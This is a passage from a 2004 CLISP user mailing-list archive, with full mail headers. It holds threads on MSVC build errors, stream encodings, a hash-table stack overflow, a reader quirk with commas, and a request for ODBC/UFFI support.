TheSbvector(TheStream(stream)->strm_bitbuffer)->data; + var uintB* bitbufferptr = TheSbvector(bitbuffer)->data; var uintL count = bytesize; var uintL sign = (sintL)R_sign(obj); if (fixnump(obj)) { From sds@gnu.org Thu Jul 22 11:35:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BniPg-0007Nj-06 for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 11:35:28 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BniPf-0002Vc-ER for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 11:35:27 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6MIZI0U021344; Thu, 22 Jul 2004 14:35:18 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mike Teixeira Cc: Arseny Slobodjuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Mike Teixeira's message of "Wed, 21 Jul 2004 13:02:07 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Mike Teixeira , Arseny Slobodjuk Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: error C2099 and warning C4047 in 2.33.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 11:36:03 2004 X-Original-Date: Thu, 22 Jul 2004 14:35:18 -0400 > * Mike Teixeira [2004-07-21 13:02:07 -0700]: > > I am building 2.33.2 on a Windows XP box with Visual Studio .NET > 2003. I am getting the following errors when I build: > > spvwtabf.i.c > subr.d(165) : error C2099: initializer is not a constant > subr.d(165) : warning C4047: 'initializing' : 'uintL' differs in levels > of indirection from 'void *' > subr.d(166) : error C2099: initializer is not a constant > subr.d(166) : warning C4047: 'initializing' : 'uintL' differs in levels > of indirection from 'void *' > subr.d(167) : error C2099: initializer is not a constant > ... > ... > ... > subr.d(282) : error C2099: initializer is not a constant > subr.d(282) : warning C4047: 'initializing' : 'uintL' differs in levels > of indirection from 'void *' > subr.d(284) : error C2099: initializer is not a constant > subr.d(284) : warning C4047: 'initializing' : 'uintL' differs in levels > of indirection from 'void *' > subr.d(286) : error C2099: initializer is not a constant > subr.d(286) : fatal error C1003: error count exceeds 100; stopping > compilation > > Has anyone had any experience with this issue? I do not use msvc (mingw produces faster CLISP binaries). I hope Arseny will help you. If you look at spvwtabf.i.c, you will probably be able to find the specific expressions that cause this. If you do, please post them here. -- Sam Steingold (http://www.podval.org/~sds) running w2k My inferiority complex is the only thing I can be proud of. From sds@gnu.org Thu Jul 22 13:06:56 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnjqC-0008Q5-6K for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 13:06:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BnjqB-00057r-NJ for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 13:06:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6MK5j0U018593; Thu, 22 Jul 2004 16:06:45 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Gabor Melis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <04Jul22.132724cest.336139@fwall.essnet.se> (Gabor Melis's message of "Thu, 22 Jul 2004 13:24:42 +0200") References: <04Jul22.132724cest.336139@fwall.essnet.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Gabor Melis Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: *standard-input* encoding Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 13:07:15 2004 X-Original-Date: Thu, 22 Jul 2004 16:05:44 -0400 > * Gabor Melis [2004-07-22 13:24:42 +0200]: > > I'm writing a traditional UNIX filter that works with binary input as > well.ISO-8859-1 looks to be the safe bet, so the script that invokes > clisp looks like this: > > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ... > > The problem is that the whole line is too long for the linux kernel > and it gets truncated. I would like to set the encodings in the lisp > code, but the *standard-input* stream already exists. 1. '#!/usr/bin/clisp -E iso-8859-1' should help you avoid the kernel limit 2. you do not need these in the command line at all: set the default encodings explicitly or pass the :external-format argument to open: 3. if you want binary input, you should do (setf (stream-element-type *standard-input*) 'unsigned-byte) note that *STANDARD-INPUT* will be a synonym for *TERMINAL-IO* (and thus the above will fail) when CLISP expects an interactive session. Otherwise (e.g., when running as a script) *STANDARD-INPUT* will be a normal buffered handle stream [at least in the CVS HEAD]. At any rate, you can always follow the advice in the Fine Manual: -- Sam Steingold (http://www.podval.org/~sds) running w2k There are two kinds of egotists: 1) Those who admit it 2) The rest of us From ekarlsso@kosh.hut.fi Mon Jul 26 13:37:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpCE5-0000ia-Au for clisp-list@lists.sourceforge.net; Mon, 26 Jul 2004 13:37:37 -0700 Received: from smtp-2.hut.fi ([130.233.228.92]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BpCE4-0000AA-Hs for clisp-list@lists.sourceforge.net; Mon, 26 Jul 2004 13:37:37 -0700 Received: from kosh.hut.fi (kosh.hut.fi [130.233.228.10]) by smtp-2.hut.fi (8.12.10/8.12.10) with ESMTP id i6QKbTUw021023 for ; Mon, 26 Jul 2004 23:37:29 +0300 From: Erik Karlsson To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-2.hut.fi) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Stack overflow with a hash table Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 26 13:38:24 2004 X-Original-Date: Mon, 26 Jul 2004 23:37:29 +0300 (EEST) Hi, I'm quite new with the Common Lisp. When programming a small progam with the CLISP I encountered a "Program Stack overflow. Reset" error when using the hash tables. The code is something like this: (defstruct (object) (name) (table)) (defun create-obj-with-hash (name) (make-object :name name :table (make-hash-table :test 'equal))) (defvar obj1 (create-obj-with-hash "some name")) Now if I do the folowing thing a stack overflow error is thrown: (object-table obj1) I use CLISP 2.33.1 on Windows XP. Does anybody have an idea what could be wrong with the last call. Thanks allready, - erik From sds@gnu.org Mon Jul 26 14:35:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpD7j-0004yh-HK for clisp-list@lists.sourceforge.net; Mon, 26 Jul 2004 14:35:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BpD7h-0001mR-T0 for clisp-list@lists.sourceforge.net; Mon, 26 Jul 2004 14:35:07 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6QLYkp0022290; Mon, 26 Jul 2004 17:34:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Erik Karlsson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Erik Karlsson's message of "Mon, 26 Jul 2004 23:37:29 +0300 (EEST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Erik Karlsson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Stack overflow with a hash table Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 26 14:36:16 2004 X-Original-Date: Mon, 26 Jul 2004 17:34:46 -0400 > * Erik Karlsson [2004-07-26 23:37:29 +0300]: > > I use CLISP 2.33.1 on Windows XP. WFM. > Does anybody have an idea -- Sam Steingold (http://www.podval.org/~sds) running w2k "A pint of sweat will save a gallon of blood." -- George S. Patton From pascal@informatimago.com Tue Jul 27 00:10:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpM64-0007VP-8Q for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 00:10:00 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BpM63-0004dU-HC for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 00:10:00 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AD5DE586E3; Tue, 27 Jul 2004 09:09:53 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7CCEA28135; Tue, 27 Jul 2004 09:09:54 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040727070954.7CCEA28135@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] reader: small inconsistency with commas. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 27 00:11:00 2004 X-Original-Date: Tue, 27 Jul 2004 09:09:54 +0200 (CEST) $ /usr/local/bin/clisp -ansi -q -norc [1]> 1 2 1 [2]> 2 [3]> 1 , 2 1 [4]> *** - READ: comma is illegal outside of backquote Break 1 [5]> [6]> 1, 2 1 [7]> *** - READ: comma is illegal outside of backquote Break 1 [8]> [9]> 1, 1 Oops! No error detected here... [10]> (lisp-implementation-version) "2.33.1 (2004-05-22) (built 3297451256) (memory 3297451552)" [11]> [11]> 1,2 1 [12]> *** - READ: comma is illegal outside of backquote Break 1 [13]> -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Tue Jul 27 10:04:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpVNF-0007Ja-B5 for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 10:04:21 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BpVNE-0006e5-S2 for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 10:04:21 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6RH44Q9004525; Tue, 27 Jul 2004 13:04:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040727070954.7CCEA28135@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 27 Jul 2004 09:09:54 +0200 (CEST)") References: <20040727070954.7CCEA28135@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: reader: small inconsistency with commas. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 27 10:05:05 2004 X-Original-Date: Tue, 27 Jul 2004 13:04:04 -0400 > * Pascal J.Bourguignon [2004-07-27 09:09:54 +0200]: > > [9]> 1, > 1 > > Oops! No error detected here... > > [11]> 1 , > 1 > [12]> > *** - READ: comma is illegal outside of backquote > Break 1 [13]> this boils down to the fact that in CLISP (let ((cs (make-concatenated-stream (make-string-input-stream "a")))) (unread-char (read-char cs) cs) (eql (peek-char nil cs) (peek-char nil (first (concatenated-stream-streams cs)) nil nil))) returns NIL (while in CMUCL and LWW it return T, even though I see no indication in ANSI that this is required). -- Sam Steingold (http://www.podval.org/~sds) running w2k The only substitute for good manners is fast reflexes. From pascal@informatimago.com Tue Jul 27 10:37:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpVsu-0005am-59 for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 10:37:04 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BpVst-00025Y-EY for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 10:37:04 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C628E586E3; Tue, 27 Jul 2004 19:36:57 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EA9F94D594; Tue, 27 Jul 2004 19:36:57 +0200 (CEST) Message-ID: <16646.37561.905182.282107@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: [clisp-list] Re: reader: small inconsistency with commas. In-Reply-To: References: <20040727070954.7CCEA28135@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 27 10:38:02 2004 X-Original-Date: Tue, 27 Jul 2004 19:36:57 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-07-27 09:09:54 +0200]: > > > > [9]> 1, > > 1 > > > > Oops! No error detected here... > > > > [11]> 1 , > > 1 > > [12]> > > *** - READ: comma is illegal outside of backquote > > Break 1 [13]> > > this boils down to the fact that in CLISP > > (let ((cs (make-concatenated-stream (make-string-input-stream "a")))) > (unread-char (read-char cs) cs) > (eql (peek-char nil cs) > (peek-char nil (first (concatenated-stream-streams cs)) nil nil))) > > returns NIL (while in CMUCL and LWW it return T, even though I see no > indication in ANSI that this is required). But I did not get the impression that the reader algorithm described in www.lispworks.com/reference/HyperSpec/Body/02_b.htm makes any references to peek-char and unread-char... In any case, this is a low priority item. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@informatimago.com Tue Jul 27 10:39:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpVvO-00067V-2n for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 10:39:38 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BpVvN-0005L1-AV for clisp-list@lists.sourceforge.net; Tue, 27 Jul 2004 10:39:37 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B1F44586E3; Tue, 27 Jul 2004 19:39:35 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EE7AB4D594; Tue, 27 Jul 2004 19:39:35 +0200 (CEST) Message-ID: <16646.37719.894547.415833@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Bruno Haible Subject: [clisp-list] Re: reader: small inconsistency with commas. Ooops. In-Reply-To: References: <20040727070954.7CCEA28135@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jul 27 10:40:17 2004 X-Original-Date: Tue, 27 Jul 2004 19:39:35 +0200 >Sam Steingold writes: >> > * Pascal J.Bourguignon [2004-07-27 09:09:54 +0200]: >> > >> > [9]> 1, >> > 1 >> > >> > Oops! No error detected here... >> > >> > [11]> 1 , >> > 1 >> > [12]> >> > *** - READ: comma is illegal outside of backquote >> > Break 1 [13]> >> >> this boils down to the fact that in CLISP >> >> (let ((cs (make-concatenated-stream (make-string-input-stream "a")))) >> (unread-char (read-char cs) cs) >> (eql (peek-char nil cs) >> (peek-char nil (first (concatenated-stream-streams cs)) nil nil))) >> >> returns NIL (while in CMUCL and LWW it return T, even though I see no >> indication in ANSI that this is required). > >But I did not get the impression that the reader algorithm described in >www.lispworks.com/reference/HyperSpec/Body/02_b.htm >makes any references to peek-char and unread-char... Oops, even if I read it lately, I still have to reread it several times. It indeed refers to UNREAD-CHAR... Sorry. >In any case, this is a low priority item. -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From maxi@paoloastori.com Wed Jul 28 05:50:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bpnsq-0008OV-Cf for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 05:50:12 -0700 Received: from net-200-226.noicomnet.it ([194.153.200.226] helo=paoloastori.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bpnsp-0001lN-Hl for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 05:50:12 -0700 Received: (qmail 32385 invoked by uid 512); 28 Jul 2004 12:49:53 -0000 Received: from unknown (HELO paoloastori.com) (20.2.71.100) by 0 with SMTP; 28 Jul 2004 12:49:53 -0000 Message-ID: <4107A0F2.7080606@paoloastori.com> From: Massimiliano Campagnoli Organization: PAOLO ASTORI SRL User-Agent: Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.6) Gecko/20040117 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED Subject: [clisp-list] Feature request: ODBC support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 05:51:04 2004 X-Original-Date: Wed, 28 Jul 2004 14:49:54 +0200 Dear all, finally I am back to lisp after years of boring C/C++ development. My current project is to port all the company ERP system from C++ with desktop GUI to LISP with Web based GUI. Our choice went to CLISP because is stable, light and has an excellent FCGI support. Unfortunately we are forced to use IBM DB/2 as relational database which is not accessible from CLISP directly and we have estimated a lot of effort to enable CLISP to access DB/2 through FFI calls. As you all probably know the CLSQL package requires UFFI and so does not work with CLISP. I am almost forced to move to CMUCL/SBCL or propretary implementation (Allegro CL) to have ODBC/DB2 access. May I suggest the CLISP community to consider the possibility to implement UFFI as a second foreign function interface in order to use the good UFFI based packages out there ? Regards -- ING. MASSIMILIANO CAMPAGNOLI PAOLO ASTORI SRL VIA MIRABELLA, 9 28013 - GATTICO ITALY  From elvin_peterson@yahoo.com Wed Jul 28 09:59:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BprmE-0002gJ-3N for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 09:59:38 -0700 Received: from web52201.mail.yahoo.com ([206.190.39.83]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BprmD-0006zV-Oy for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 09:59:38 -0700 Message-ID: <20040728165221.28859.qmail@web52201.mail.yahoo.com> Received: from [202.83.41.252] by web52201.mail.yahoo.com via HTTP; Wed, 28 Jul 2004 09:52:21 PDT From: Elvin Peterson To: Clisp MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] tail recursion optimization Sender: 